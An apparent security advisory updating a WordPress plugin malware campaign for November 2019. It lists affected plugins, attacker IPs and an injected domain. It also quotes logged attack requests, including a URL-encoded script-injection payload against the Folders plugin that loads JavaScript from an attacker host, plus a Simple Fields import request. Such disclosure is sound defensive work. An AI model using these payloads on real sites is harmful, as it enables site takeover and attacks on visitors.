Plugins added to Malware Campaign: November 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

• Multi-Vector Attack in Server Logs: March 2019
• Plugins Added to Malicious Campaign – April 2019
• Malware Campaign Evolves to Target New Plugins: May 2019
• Plugins Under Attack: June 2019
• Plugins Under Attack: July 2019
• Plugins Under Attack: August 2019
• Plugins Under Attack: September 2019
• Plugins Under Attack: October 2019

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

• Folders
• Simple Fields

Plugins that are continuing to be leveraged by attackers are:

• Rich Reviews
• Kiwi-Social-Share
• Blog Designer
• WP Live Chat Support
• Yellow Pencil Visual Theme Customizer
• Social Warfare
• Yuzo Related Post
• WP-Piwik

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

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Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

• https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.